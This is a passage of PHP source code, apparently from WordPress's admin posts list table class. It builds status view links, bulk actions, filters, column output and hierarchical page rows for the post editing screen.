			$this->sticky_posts_count = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT( 1 ) FROM $wpdb->posts WHERE post_type = %s AND post_status NOT IN ('trash', 'auto-draft') AND ID IN ($sticky_posts)", $post_type ) );
		}
	}

/**
	 * Sets whether the table layout should be hierarchical or not.
	 *
	 * @since 4.2.0
	 *
	 * @param bool $display Whether the table layout should be hierarchical.
	 */
	public function set_hierarchical_display( $display ) {
		$this->hierarchical_display = $display;
	}

/**
	 *
	 * @return bool
	 */
	public function ajax_user_can() {
		return current_user_can( get_post_type_object( $this->screen->post_type )->cap->edit_posts );
	}

/**
	 *
	 * @global array    $avail_post_stati
	 * @global WP_Query $wp_query
	 * @global int      $per_page
	 * @global string   $mode
	 */
	public function prepare_items() {
		global $avail_post_stati, $wp_query, $per_page, $mode;

// is going to call wp()
		$avail_post_stati = wp_edit_posts_query();

$this->set_hierarchical_display( is_post_type_hierarchical( $this->screen->post_type ) && 'menu_order title' === $wp_query->query['orderby'] );

$post_type = $this->screen->post_type;
		$per_page = $this->get_items_per_page( 'edit_' . $post_type . '_per_page' );

/** This filter is documented in wp-admin/includes/post.php */
 		$per_page = apply_filters( 'edit_posts_per_page', $per_page, $post_type );

if ( $this->hierarchical_display ) {
			$total_items = $wp_query->post_count;
		} elseif ( $wp_query->found_posts || $this->get_pagenum() === 1 ) {
			$total_items = $wp_query->found_posts;
		} else {
			$post_counts = (array) wp_count_posts( $post_type, 'readable' );

if ( isset( $_REQUEST['post_status'] ) && in_array( $_REQUEST['post_status'] , $avail_post_stati ) ) {
				$total_items = $post_counts[ $_REQUEST['post_status'] ];
			} elseif ( isset( $_REQUEST['show_sticky'] ) && $_REQUEST['show_sticky'] ) {
				$total_items = $this->sticky_posts_count;
			} elseif ( isset( $_GET['author'] ) && $_GET['author'] == get_current_user_id() ) {
				$total_items = $this->user_posts_count;
			} else {
				$total_items = array_sum( $post_counts );

// Subtract post types that are not included in the admin all list.
				foreach ( get_post_stati( array( 'show_in_admin_all_list' => false ) ) as $state ) {
					$total_items -= $post_counts[ $state ];
				}
			}
		}

if ( ! empty( $_REQUEST['mode'] ) ) {
			$mode = $_REQUEST['mode'] === 'excerpt' ? 'excerpt' : 'list';
			set_user_setting( 'posts_list_mode', $mode );
		} else {
			$mode = get_user_setting( 'posts_list_mode', 'list' );
		}

$this->is_trash = isset( $_REQUEST['post_status'] ) && $_REQUEST['post_status'] === 'trash';

$this->set_pagination_args( array(
			'total_items' => $total_items,
			'per_page' => $per_page
		) );
	}

/**
	 *
	 * @return bool
	 */
	public function has_items() {
		return have_posts();
	}

/**
	 */
	public function no_items() {
		if ( isset( $_REQUEST['post_status'] ) && 'trash' === $_REQUEST['post_status'] )
			echo get_post_type_object( $this->screen->post_type )->labels->not_found_in_trash;
		else
			echo get_post_type_object( $this->screen->post_type )->labels->not_found;
	}

/**
	 * Determine if the current view is the "All" view.
	 *
	 * @since 4.2.0
	 *
	 * @return bool Whether the current view is the "All" view.
	 */
	protected function is_base_request() {
		$vars = $_GET;
		unset( $vars['paged'] );

if ( empty( $vars ) ) {
			return true;
		} elseif ( 1 === count( $vars ) && ! empty( $vars['post_type'] ) ) {
			return $this->screen->post_type === $vars['post_type'];
		}

return 1 === count( $vars ) && ! empty( $vars['mode'] );
	}

/**
	 * Helper to create links to edit.php with params.
	 *
	 * @since 4.4.0
	 *
	 * @param array  $args  URL parameters for the link.
	 * @param string $label Link text.
	 * @param string $class Optional. Class attribute. Default empty string.
	 * @return string The formatted link string.
	 */
	protected function get_edit_link( $args, $label, $class = '' ) {
		$url = add_query_arg( $args, 'edit.php' );

$class_html = $aria_current = '';
		if ( ! empty( $class ) ) {
			 $class_html = sprintf(
				' class="%s"',
				esc_attr( $class )
			);

if ( 'current' === $class ) {
				$aria_current = ' aria-current="page"';
			}
		}

return sprintf(
			'<a href="%s"%s%s>%s</a>',
			esc_url( $url ),
			$class_html,
			$aria_current,
			$label
		);
	}

/**
	 *
	 * @global array $locked_post_status This seems to be deprecated.
	 * @global array $avail_post_stati
	 * @return array
	 */
	protected function get_views() {
		global $locked_post_status, $avail_post_stati;

$post_type = $this->screen->post_type;

if ( !empty($locked_post_status) )
			return array();

$status_links = array();
		$num_posts = wp_count_posts( $post_type, 'readable' );
		$total_posts = array_sum( (array) $num_posts );
		$class = '';

$current_user_id = get_current_user_id();
		$all_args = array( 'post_type' => $post_type );
		$mine = '';

// Subtract post types that are not included in the admin all list.
		foreach ( get_post_stati( array( 'show_in_admin_all_list' => false ) ) as $state ) {
			$total_posts -= $num_posts->$state;
		}

if ( $this->user_posts_count && $this->user_posts_count !== $total_posts ) {
			if ( isset( $_GET['author'] ) && ( $_GET['author'] == $current_user_id ) ) {
				$class = 'current';
			}

$mine_args = array(
				'post_type' => $post_type,
				'author' => $current_user_id
			);

$mine_inner_html = sprintf(
				_nx(
					'Mine <span class="count">(%s)</span>',
					'Mine <span class="count">(%s)</span>',
					$this->user_posts_count,
					'posts'
				),
				number_format_i18n( $this->user_posts_count )
			);

$mine = $this->get_edit_link( $mine_args, $mine_inner_html, $class );

$all_args['all_posts'] = 1;
			$class = '';
		}

if ( empty( $class ) && ( $this->is_base_request() || isset( $_REQUEST['all_posts'] ) ) ) {
			$class = 'current';
		}

$all_inner_html = sprintf(
			_nx(
				'All <span class="count">(%s)</span>',
				'All <span class="count">(%s)</span>',
				$total_posts,
				'posts'
			),
			number_format_i18n( $total_posts )
		);

$status_links['all'] = $this->get_edit_link( $all_args, $all_inner_html, $class );
		if ( $mine ) {
			$status_links['mine'] = $mine;
		}

foreach ( get_post_stati(array('show_in_admin_status_list' => true), 'objects') as $status ) {
			$class = '';

$status_name = $status->name;

if ( ! in_array( $status_name, $avail_post_stati ) || empty( $num_posts->$status_name ) ) {
				continue;
			}

if ( isset($_REQUEST['post_status']) && $status_name === $_REQUEST['post_status'] ) {
				$class = 'current';
			}

$status_args = array(
				'post_status' => $status_name,
				'post_type' => $post_type,
			);

$status_label = sprintf(
				translate_nooped_plural( $status->label_count, $num_posts->$status_name ),
				number_format_i18n( $num_posts->$status_name )
			);

$status_links[ $status_name ] = $this->get_edit_link( $status_args, $status_label, $class );
		}

if ( ! empty( $this->sticky_posts_count ) ) {
			$class = ! empty( $_REQUEST['show_sticky'] ) ? 'current' : '';

$sticky_args = array(
				'post_type'	=> $post_type,
				'show_sticky' => 1
			);

$sticky_inner_html = sprintf(
				_nx(
					'Sticky <span class="count">(%s)</span>',
					'Sticky <span class="count">(%s)</span>',
					$this->sticky_posts_count,
					'posts'
				),
				number_format_i18n( $this->sticky_posts_count )
			);

$sticky_link = array(
				'sticky' => $this->get_edit_link( $sticky_args, $sticky_inner_html, $class )
			);

// Sticky comes after Publish, or if not listed, after All.
			$split = 1 + array_search( ( isset( $status_links['publish'] ) ? 'publish' : 'all' ), array_keys( $status_links ) );
			$status_links = array_merge( array_slice( $status_links, 0, $split ), $sticky_link, array_slice( $status_links, $split ) );
		}

return $status_links;
	}

/**
	 *
	 * @return array
	 */
	protected function get_bulk_actions() {
		$actions = array();
		$post_type_obj = get_post_type_object( $this->screen->post_type );

if ( current_user_can( $post_type_obj->cap->edit_posts ) ) {
			if ( $this->is_trash ) {
				$actions['untrash'] = __( 'Restore' );
			} else {
				$actions['edit'] = __( 'Edit' );
			}
		}

if ( current_user_can( $post_type_obj->cap->delete_posts ) ) {
			if ( $this->is_trash || ! EMPTY_TRASH_DAYS ) {
				$actions['delete'] = __( 'Delete Permanently' );
			} else {
				$actions['trash'] = __( 'Move to Trash' );
			}
		}

return $actions;
	}

/**
	 * Displays a categories drop-down for filtering on the Posts list table.
	 *
	 * @since 4.6.0
	 *
	 * @global int $cat Currently selected category.
	 *
	 * @param string $post_type Post type slug.
	 */
	protected function categories_dropdown( $post_type ) {
		global $cat;

/**
		 * Filters whether to remove the 'Categories' drop-down from the post list table.
		 *
		 * @since 4.6.0
		 *
		 * @param bool   $disable   Whether to disable the categories drop-down. Default false.
		 * @param string $post_type Post type slug.
		 */
		if ( false !== apply_filters( 'disable_categories_dropdown', false, $post_type ) ) {
			return;
		}

if ( is_object_in_taxonomy( $post_type, 'category' ) ) {
			$dropdown_options = array(
				'show_option_all' => get_taxonomy( 'category' )->labels->all_items,
				'hide_empty' => 0,
				'hierarchical' => 1,
				'show_count' => 0,
				'orderby' => 'name',
				'selected' => $cat
			);

echo '<label class="screen-reader-text" for="cat">' . __( 'Filter by category' ) . '</label>';
			wp_dropdown_categories( $dropdown_options );
		}
	}

/**
	 * @param string $which
	 */
	protected function extra_tablenav( $which ) {
?>
		<div class="alignleft actions">
<?php
		if ( 'top' === $which && !is_singular() ) {
			ob_start();

$this->months_dropdown( $this->screen->post_type );
			$this->categories_dropdown( $this->screen->post_type );

/**
			 * Fires before the Filter button on the Posts and Pages list tables.
			 *
			 * The Filter button allows sorting by date and/or category on the
			 * Posts list table, and sorting by date on the Pages list table.
			 *
			 * @since 2.1.0
			 * @since 4.4.0 The `$post_type` parameter was added.
			 * @since 4.6.0 The `$which` parameter was added.
			 *
			 * @param string $post_type The post type slug.
			 * @param string $which     The location of the extra table nav markup:
			 *                          'top' or 'bottom' for WP_Posts_List_Table,
			 *                          'bar' for WP_Media_List_Table.
			 */
			do_action( 'restrict_manage_posts', $this->screen->post_type, $which );

$output = ob_get_clean();

if ( ! empty( $output ) ) {
				echo $output;
				submit_button( __( 'Filter' ), '', 'filter_action', false, array( 'id' => 'post-query-submit' ) );
			}
		}

if ( $this->is_trash && current_user_can( get_post_type_object( $this->screen->post_type )->cap->edit_others_posts ) && $this->has_items() ) {
			submit_button( __( 'Empty Trash' ), 'apply', 'delete_all', false );
		}
?>
		</div>
<?php
		/**
		 * Fires immediately following the closing "actions" div in the tablenav for the posts
		 * list table.
		 *
		 * @since 4.4.0
		 *
		 * @param string $which The location of the extra table nav markup: 'top' or 'bottom'.
		 */
		do_action( 'manage_posts_extra_tablenav', $which );
	}

/**
	 *
	 * @return string
	 */
	public function current_action() {
		if ( isset( $_REQUEST['delete_all'] ) || isset( $_REQUEST['delete_all2'] ) )
			return 'delete_all';

return parent::current_action();
	}

/**
	 *
	 * @return array
	 */
	protected function get_table_classes() {
		return array( 'widefat', 'fixed', 'striped', is_post_type_hierarchical( $this->screen->post_type ) ? 'pages' : 'posts' );
	}

/**
	 *
	 * @return array
	 */
	public function get_columns() {
		$post_type = $this->screen->post_type;

$posts_columns = array();

$posts_columns['cb'] = '<input type="checkbox" />';

/* translators: manage posts column name */
		$posts_columns['title'] = _x( 'Title', 'column name' );

if ( post_type_supports( $post_type, 'author' ) ) {
			$posts_columns['author'] = __( 'Author' );
		}

$taxonomies = get_object_taxonomies( $post_type, 'objects' );
		$taxonomies = wp_filter_object_list( $taxonomies, array( 'show_admin_column' => true ), 'and', 'name' );

/**
		 * Filters the taxonomy columns in the Posts list table.
		 *
		 * The dynamic portion of the hook name, `$post_type`, refers to the post
		 * type slug.
		 *
		 * @since 3.5.0
		 *
		 * @param array  $taxonomies Array of taxonomies to show columns for.
		 * @param string $post_type  The post type.
		 */
		$taxonomies = apply_filters( "manage_taxonomies_for_{$post_type}_columns", $taxonomies, $post_type );
		$taxonomies = array_filter( $taxonomies, 'taxonomy_exists' );

foreach ( $taxonomies as $taxonomy ) {
			if ( 'category' === $taxonomy )
				$column_key = 'categories';
			elseif ( 'post_tag' === $taxonomy )
				$column_key = 'tags';
			else
				$column_key = 'taxonomy-' . $taxonomy;

$posts_columns[ $column_key ] = get_taxonomy( $taxonomy )->labels->name;
		}

$post_status = !empty( $_REQUEST['post_status'] ) ? $_REQUEST['post_status'] : 'all';
		if ( post_type_supports( $post_type, 'comments' ) && !in_array( $post_status, array( 'pending', 'draft', 'future' ) ) )
			$posts_columns['comments'] = '<span class="vers comment-grey-bubble" title="' . esc_attr__( 'Comments' ) . '"><span class="screen-reader-text">' . __( 'Comments' ) . '</span></span>';

$posts_columns['date'] = __( 'Date' );

if ( 'page' === $post_type ) {

/**
			 * Filters the columns displayed in the Pages list table.
			 *
			 * @since 2.5.0
			 *
			 * @param array $post_columns An array of column names.
			 */
			$posts_columns = apply_filters( 'manage_pages_columns', $posts_columns );
		} else {

/**
			 * Filters the columns displayed in the Posts list table.
			 *
			 * @since 1.5.0
			 *
			 * @param array  $posts_columns An array of column names.
			 * @param string $post_type     The post type slug.
			 */
			$posts_columns = apply_filters( 'manage_posts_columns', $posts_columns, $post_type );
		}

/**
		 * Filters the columns displayed in the Posts list table for a specific post type.
		 *
		 * The dynamic portion of the hook name, `$post_type`, refers to the post type slug.
		 *
		 * @since 3.0.0
		 *
		 * @param array $post_columns An array of column names.
		 */
		return apply_filters( "manage_{$post_type}_posts_columns", $posts_columns );
	}

/**
	 *
	 * @return array
	 */
	protected function get_sortable_columns() {
		return array(
			'title'    => 'title',
			'parent'   => 'parent',
			'comments' => 'comment_count',
			'date'     => array( 'date', true )
		);
	}

/**
	 * @global WP_Query $wp_query
	 * @global int $per_page
	 * @param array $posts
	 * @param int $level
	 */
	public function display_rows( $posts = array(), $level = 0 ) {
		global $wp_query, $per_page;

if ( empty( $posts ) )
			$posts = $wp_query->posts;

add_filter( 'the_title', 'esc_html' );

if ( $this->hierarchical_display ) {
			$this->_display_rows_hierarchical( $posts, $this->get_pagenum(), $per_page );
		} else {
			$this->_display_rows( $posts, $level );
		}
	}

/**
	 * @param array $posts
	 * @param int $level
	 */
	private function _display_rows( $posts, $level = 0 ) {
		// Create array of post IDs.
		$post_ids = array();

foreach ( $posts as $a_post )
			$post_ids[] = $a_post->ID;

$this->comment_pending_count = get_pending_comments_num( $post_ids );

foreach ( $posts as $post )
			$this->single_row( $post, $level );
	}

/**
	 * @global wpdb    $wpdb
	 * @global WP_Post $post
	 * @param array $pages
	 * @param int $pagenum
	 * @param int $per_page
	 */
	private function _display_rows_hierarchical( $pages, $pagenum = 1, $per_page = 20 ) {
		global $wpdb;

$level = 0;

if ( ! $pages ) {
			$pages = get_pages( array( 'sort_column' => 'menu_order' ) );

if ( ! $pages )
				return;
		}

/*
		 * Arrange pages into two parts: top level pages and children_pages
		 * children_pages is two dimensional array, eg.
		 * children_pages[10][] contains all sub-pages whose parent is 10.
		 * It only takes O( N ) to arrange this and it takes O( 1 ) for subsequent lookup operations
		 * If searching, ignore hierarchy and treat everything as top level
		 */
		if ( empty( $_REQUEST['s'] ) ) {

$top_level_pages = array();
			$children_pages = array();

foreach ( $pages as $page ) {

// Catch and repair bad pages.
				if ( $page->post_parent == $page->ID ) {
					$page->post_parent = 0;
					$wpdb->update( $wpdb->posts, array( 'post_parent' => 0 ), array( 'ID' => $page->ID ) );
					clean_post_cache( $page );
				}

if ( 0 == $page->post_parent )
					$top_level_pages[] = $page;
				else
					$children_pages[ $page->post_parent ][] = $page;
			}

$pages = &$top_level_pages;
		}

$count = 0;
		$start = ( $pagenum - 1 ) * $per_page;
		$end = $start + $per_page;
		$to_display = array();

foreach ( $pages as $page ) {
			if ( $count >= $end )
				break;

if ( $count >= $start ) {
				$to_display[$page->ID] = $level;
			}

$count++;

if ( isset( $children_pages ) )
				$this->_page_rows( $children_pages, $count, $page->ID, $level + 1, $pagenum, $per_page, $to_display );
		}

// If it is the last pagenum and there are orphaned pages, display them with paging as well.
		if ( isset( $children_pages ) && $count < $end ){
			foreach ( $children_pages as $orphans ){
				foreach ( $orphans as $op ) {
					if ( $count >= $end )
						break;

if ( $count >= $start ) {
						$to_display[$op->ID] = 0;
					}

$count++;
				}
			}
		}

$ids = array_keys( $to_display );
		_prime_post_caches( $ids );

if ( ! isset( $GLOBALS['post'] ) ) {
			$GLOBALS['post'] = reset( $ids );
		}

foreach ( $to_display as $page_id => $level ) {
			echo "\t";
			$this->single_row( $page_id, $level );
		}
	}

/**
	 * Given a top level page ID, display the nested hierarchy of sub-pages
	 * together with paging support
	 *
	 * @since 3.1.0 (Standalone function exists since 2.6.0)
	 * @since 4.2.0 Added the `$to_display` parameter.
	 *
	 * @param array $children_pages
	 * @param int $count
	 * @param int $parent
	 * @param int $level
	 * @param int $pagenum
	 * @param int $per_page
	 * @param array $to_display List of pages to be displayed. Passed by reference.
	 */
	private function _page_rows( &$children_pages, &$count, $parent, $level, $pagenum, $per_page, &$to_display ) {
		if ( ! isset( $children_pages[$parent] ) )
			return;

$start = ( $pagenum - 1 ) * $per_page;
		$end = $start + $per_page;

foreach ( $children_pages[$parent] as $page ) {
			if ( $count >= $end )
				break;

// If the page starts in a subtree, print the parents.
			if ( $count == $start && $page->post_parent > 0 ) {
				$my_parents = array();
				$my_parent = $page->post_parent;
				while ( $my_parent ) {
					// Get the ID from the list or the attribute if my_parent is an object
					$parent_id = $my_parent;
					if ( is_object( $my_parent ) ) {
						$parent_id = $my_parent->ID;
					}

$my_parent = get_post( $parent_id );
					$my_parents[] = $my_parent;
					if ( !$my_parent->post_parent )
						break;
					$my_parent = $my_parent->post_parent;
				}
				$num_parents = count( $my_parents );
				while ( $my_parent = array_pop( $my_parents ) ) {
					$to_display[$my_parent->ID] = $level - $num_parents;
					$num_parents--;
				}
			}

if ( $count >= $start ) {
				$to_display[$page->ID] = $level;
			}

$count++;

$this->_page_rows( $children_pages, $count, $page->ID, $level + 1, $pagenum, $per_page, $to_display );
		}

unset( $children_pages[$parent] ); //required in order to keep track of orphans
	}

/**
	 * Handles the checkbox column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_Post $post The current WP_Post object.
	 */
	public function column_cb( $post ) {
		if ( current_user_can( 'edit_post', $post->ID ) ): ?>
			<label class="screen-reader-text" for="cb-select-<?php the_ID(); ?>"><?php
				printf( __( 'Select %s' ), _draft_or_post_title() );
			?></label>
			<input id="cb-select-<?php the_ID(); ?>" type="checkbox" name="post[]" value="<?php the_ID(); ?>" />
			<div class="locked-indicator">
				<span class="locked-indicator-icon" aria-hidden="true"></span>
				<span class="screen-reader-text"><?php
				printf(
					/* translators: %s: post title */
					__( '&#8220;%s&#8221; is locked' ),
					_draft_or_post_title()
				);
				?></span>
			</div>
		<?php endif;
	}

/**
	 * @since 4.3.0
	 *
	 * @param WP_Post $post
	 * @param string  $classes
	 * @param string  $data
	 * @param string  $primary
	 */
	protected function _column_title( $post, $classes, $data, $primary ) {
		echo '<td class="' . $classes . ' page-title" ', $data, '>';
		echo $this->column_title( $post );
		echo $this->handle_row_actions( $post, 'title', $primary );
		echo '</td>';
	}

/**
	 * Handles the title column output.
	 *
	 * @since 4.3.0
	 *
	 * @global string $mode List table view mode.
	 *
	 * @param WP_Post $post The current WP_Post object.
	 */
	public function column_title( $post ) {
		global $mode;

if ( $this->hierarchical_display ) {
			if ( 0 === $this->current_level && (int) $post->post_parent > 0 ) {
				// Sent level 0 by accident, by default, or because we don't know the actual level.
				$find_main_page = (int) $post->post_parent;
				while ( $find_main_page > 0 ) {
					$parent = get_post( $find_main_page );

if ( is_null( $parent ) ) {
						break;
					}

$this->current_level++;
					$find_main_page = (int) $parent->post_parent;

if ( ! isset( $parent_name ) ) {
						/** This filter is documented in wp-includes/post-template.php */
						$parent_name = apply_filters( 'the_title', $parent->post_title, $parent->ID );
					}
				}
			}
		}

$can_edit_post = current_user_can( 'edit_post', $post->ID );

if ( $can_edit_post && $post->post_status != 'trash' ) {
			$lock_holder = wp_check_post_lock( $post->ID );

if ( $lock_holder ) {
				$lock_holder = get_userdata( $lock_holder );
				$locked_avatar = get_avatar( $lock_holder->ID, 18 );
				$locked_text = esc_html( sprintf( __( '%s is currently editing' ), $lock_holder->display_name ) );
			} else {
				$locked_avatar = $locked_text = '';
			}

echo '<div class="locked-info"><span class="locked-avatar">' . $locked_avatar . '</span> <span class="locked-text">' . $locked_text . "</span></div>\n";
		}

$pad = str_repeat( '&#8212; ', $this->current_level );
		echo "<strong>";

$format = get_post_format( $post->ID );
		if ( $format ) {
			$label = get_post_format_string( $format );

$format_class = 'post-state-format post-format-icon post-format-' . $format;

$format_args = array(
				'post_format' => $format,
				'post_type' => $post->post_type
			);

echo $this->get_edit_link( $format_args, $label . ':', $format_class );
		}

$title = _draft_or_post_title();

if ( $can_edit_post && $post->post_status != 'trash' ) {
			printf(
				'<a class="row-title" href="%s" aria-label="%s">%s%s</a>',
				get_edit_post_link( $post->ID ),
				/* translators: %s: post title */
				esc_attr( sprintf( __( '&#8220;%s&#8221; (Edit)' ), $title ) ),
				$pad,
				$title
			);
		} else {
			echo $pad . $title;
		}
		_post_states( $post );

if ( isset( $parent_name ) ) {
			$post_type_object = get_post_type_object( $post->post_type );
			echo ' | ' . $post_type_object->labels->parent_item_colon . ' ' . esc_html( $parent_name );
		}
		echo "</strong>\n";

if ( ! is_post_type_hierarchical( $this->screen->post_type ) && 'excerpt' === $mode && current_user_can( 'read_post', $post->ID ) ) {
			if ( post_password_required( $post ) ) {
				echo '<span class="protected-post-excerpt">' . esc_html( get_the_excerpt() ) . '</span>';
			} else {
				echo esc_html( get_the_excerpt() );
			}
		}

get_inline_data( $post );
	}

/**
	 * Handles the post date column output.
	 *
	 * @since 4.3.0
	 *
	 * @global string $mode List table view mode.
	 *
	 * @param WP_Post $post The current WP_Post object.
	 */
	public function column_date( $post ) {
		global $mode;

if ( '0000-00-00 00:00:00' === $post->post_date ) {
			$t_time = $h_time = __( 'Unpublished' );
			$time_diff = 0;
		} else {
			$t_time = get_the_time( __( 'Y/m/d g:i:s a' ) );
			$m_time = $post->post_date;
			$time = get_post_time( 'G', true, $post );

$time_diff = time() - $time;

if ( $time_diff > 0 && $time_diff < DAY_IN_SECONDS ) {
				$h_time = sprintf( __( '%s ago' ), human_time_diff( $time ) );
			} else {
				$h_time = mysql2date( __( 'Y/m/d' ), $m_time );
			}
		}

if ( 'publish' === $post->post_status ) {
			$status = __( 'Published' );
		} elseif ( 'future' === $post->post_status ) {
			if ( $time_diff > 0 ) {
				$status = '<strong class="error-message">' . __( 'Missed schedule' ) . '</strong>';
			} else {
				$status = __( 'Scheduled' );
			}
		} else {
			$status = __( 'Last Modified' );
		}

/**
		 * Filters the status text of the post.
		 *
		 * @since 4.8.0
		 *
		 * @param string  $status      The status text.
		 * @param WP_Post $post        Post object.
		 * @param string  $column_name The column name.
		 * @param string  $mode        The list display mode ('excerpt' or 'list').
		 */
		$status = apply_filters( 'post_date_column_status', $status, $post, 'date', $mode );

if ( $status ) {
			echo $status . '<br />';
		}

if ( 'excerpt' === $mode ) {
			/**
			 * Filters the published time of the post.
			 *
			 * If `$mode` equals 'excerpt', the published time and date are both displayed.
			 * If `$mode` equals 'list' (default), the publish date is displayed, with the
			 * time and date together available as an abbreviation definition.
			 *
			 * @since 2.5.1
			 *
			 * @param string  $t_time      The published time.
			 * @param WP_Post $post        Post object.
			 * @param string  $column_name The column name.
			 * @param string  $mode        The list display mode ('excerpt' or 'list').
			 */
			echo apply_filters( 'post_date_column_time', $t_time, $post, 'date', $mode );
		} else {

/** This filter is documented in wp-admin/includes/class-wp-posts-list-table.php */
			echo '<abbr title="' . $t_time . '">' . apply_filters( 'post_date_column_time', $h_time, $post, 'date', $mode ) . '</abbr>';
		}
	}

/**
	 * Handles the comments column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_Post $post The current WP_Post object.
	 */
	public function column_comments( $post ) {
		?>
		<div class="post-com-count-wrapper">
		<?php
			$pending_comments = isset( $this->comment_pending_count[$post->ID] ) ? $this->comment_pending_count[$post->ID] : 0;

$this->comments_bubble( $post->ID, $pending_comments );
		?>
		</div>
		<?php
	}

/**
	 * Handles the post author column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_Post $post The current WP_Post object.
	 */
	public function column_author( $post ) {
		$args = array(
			'post_type' => $post->post_type,
			'author' => get_the_author_meta( 'ID' )
		);
		echo $this->get_edit_link( $args, get_the_author() );
	}

/**
	 * Handles the default column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_Post $post        The current WP_Post object.
	 * @param string  $column_name The current column name.
	 */
	public function column_default( $post, $column_name ) {
		if ( 'categories' === $column_name ) {
			$taxonomy = 'category';
		} elseif ( 'tags' === $column_name ) {
			$taxonomy = 'post_tag';
		} elseif ( 0 === strpos( $column_name, 'taxonomy-' ) ) {
			$taxonomy = substr( $column_name, 9 );
		} else {
			$taxonomy = false;
		}
		if ( $taxonomy ) {
			$taxonomy_object = get_taxonomy( $taxonomy );
			$terms = get_the_terms( $post->ID, $taxonomy );
			if ( is_array( $terms ) ) {
				$out = array();
				foreach ( $terms as $t ) {
					$posts_in_term_qv = array();
					if ( 'post' != $post->post_type ) {
						$posts_in_term_qv['post_type'] = $post->post_type;
					}
					if ( $taxonomy_object->query_var ) {
						$posts_in_term_qv[ $taxonomy_object->query_var ] = $t->slug;
					} else {
						$posts_in_term_qv['taxonomy'] = $taxonomy;
						$posts_in_term_qv['term'] = $t->slug;
					}

$label = esc_html( sanitize_term_field( 'name', $t->name, $t->term_id, $taxonomy, 'display' ) );
					$out[] = $this->get_edit_link( $posts_in_term_qv, $label );
				}
				/* translators: used between list items, there is a space after the comma */
				echo join( __( ', ' ), $out );
			} else {
				echo '<span aria-hidden="true">&#8212;</span><span class="screen-reader-text">' . $taxonomy_object->labels->no_terms . '</span>';
			}
			return;
		}

if ( is_post_type_hierarchical( $post->post_type ) ) {

/**
			 * Fires in each custom column on the Posts list table.
			 *
			 * This hook only fires if the current post type is hierarchical,
			 * such as pages.
			 *
			 * @since 2.5.0
			 *
			 * @param string $column_name The name of the column to display.
			 * @param int    $post_id     The current post ID.
			 */
			do_action( 'manage_pages_custom_column', $column_name, $post->ID );
		} else {

/**
			 * Fires in each custom column in the Posts list table.
			 *
			 * This hook only fires if the current post type is non-hierarchical,
			 * such as posts.
			 *
			 * @since 1.5.0
			 *
			 * @param string $column_name The name of the column to display.
			 * @param int    $post_id     The current post ID.
			 */
			do_action( 'manage_posts_custom_column', $column_name, $post->ID );
		}

/**
		 * Fires for each custom column of a specific post type in the Posts list table.
		 *
		 * The dynamic portion of the hook name, `$post->post_type`, refers to the post type.
		 *
		 * @since 3.1.0
		 *
		 * @param string $column_name The name of the column to display.
		 * @param int    $post_id     The current post ID.
		 */
		do_action( "manage_{$post->post_type}_posts_custom_column", $column_name, $post->ID );
	}

/**
	 * @global WP_Post $post
	 *
	 * @param int|WP_Post $post
	 * @param int         $level
	 */
	public function single_row( $post, $level = 0 ) {
		$global_post = get_post();

$post = get_post( $post );
		$this->current_level = $level;

$GLOBALS['post'] = $post;
		setup_postdata( $post );

$classes = 'iedit author-' . ( get_current_user_id() == $post->post_author ? 'self' : 'other' );

$lock_holder = wp_check_post_lock( $post->ID );
		if ( $lock_holder ) {
			$classes .= ' wp-locked';
		}

if ( $post->post_parent ) {
		    $count = count( get_post_ancestors( $post->ID ) );
		    $classes .= ' level-'. $count;
		} else {
		    $classes .= ' level-0';
		}
	?>
		<tr id="post-<?php echo $post->ID; ?>" class="<?php echo implode( ' ', get_post_class( $classes, $post->ID ) ); ?>">
			<?php $this->single_row_columns( $post ); ?>
		</tr>
	<?php
		$GLOBALS['post'] = $global_post;
	}

/**
	 * Gets the name of the default primary column.
	 *
	 * @since 4.3.0
	 *
	 * @return string Name of the default primary column, in this case, 'title'.
	 */
	protected function get_default_primary_column_name() {
		return 'title';
	}

/**
	 * Generates and displays row action links.
	 *
	 * @since 4.3.0
	 *
	 * @param object $post        Post being acted upon.
	 * @param string $column_name Current column name.
	 * @param string $primary     Primary column name.
	 * @return string Row actions output for posts.
	 */
	protected function handle_row_actions( $post, $column_name, $primary ) {
		if ( $primary !== $column_name ) {
			return '';
		}

$post_type_object = get_post_type_object( $post->post_type );
		$can_edit_post = current_user_can( 'edit_post', $post->ID );
		$actions = array();
		$title = _draft_or_post_title();

if ( $can_edit_post && 'trash' != $post->post_status ) {
			$actions['edit'] = sprintf(
				'<a href="%s" aria-label="%s">%s</a>',
				get_edit_post_link( $post->ID ),
				/* translators: %s: post title */
				esc_attr( sprintf( __( 'Edit &#8220;%s&#8221;' ), $title ) ),
				__( 'Edit' )
			);

if ( 'wp_block' !== $post->post_type ) {
				$actions['inline hide-if-no-js'] = sprintf(
					'<a href="#" class="editinline" aria-label="%s">%s</a>',
					/* translators: %s: post title */
					esc_attr( sprintf( __( 'Quick edit &#8220;%s&#8221; inline' ), $title ) ),
					__( 'Quick&nbsp;Edit' )
				);
			}
		}

if ( current_user_can( 'delete_post', $post->ID ) ) {
			if ( 'trash' === $post->post_status ) {
				$actions['untrash'] = sprintf(
					'<a href="%s" aria-label="%s">%s</a>',
					wp_nonce_url( admin_url( sprintf( $post_type_object->_edit_link . '&amp;action=untrash', $post->ID ) ), 'untrash-post_' . $post->ID ),
					/* translators: %s: post title */
					esc_attr( sprintf( __( 'Restore &#8220;%s&#8221; from the Trash' ), $title ) ),
					__( 'Restore' )
				);
			} elseif ( EMPTY_TRASH_DAYS ) {
				$actions['trash'] = sprintf(
					'<a href="%s" class="submitdelete" aria-label="%s">%s</a>',
					get_delete_post_link( $post->ID ),
					/* translators: %s: post title */
					esc_attr( sprintf( __( 'Move &#8220;%s&#8221; to the Trash' ), $title ) ),
					_x( 'Trash', 'verb' )
				);
			}
			if ( 'trash' === $post->post_status || ! EMPTY_TRASH_DAYS ) {
				$actions['delete'] = sprintf(
					'<a href="%s" class="submitdelete" aria-label="%s">%s</a>',
					get_delete_post_link( $post->ID, '', true ),
					/* translators: %s: post title */
					esc_attr( sprintf( __( 'Delete &#8220;%s&#8221; permanently' ), $title ) ),
					__( 'Delete Permanently' )
				);
			}
		}

if ( is_post_type_viewable( $post_type_object ) ) {
			if ( in_array( $post->post_status, array( 'pending', 'draft', 'future' ) ) ) {
				if ( $can_edit_post ) {
					$preview_link = get_preview_post_link( $post );
					$actions['view'] = sprintf(
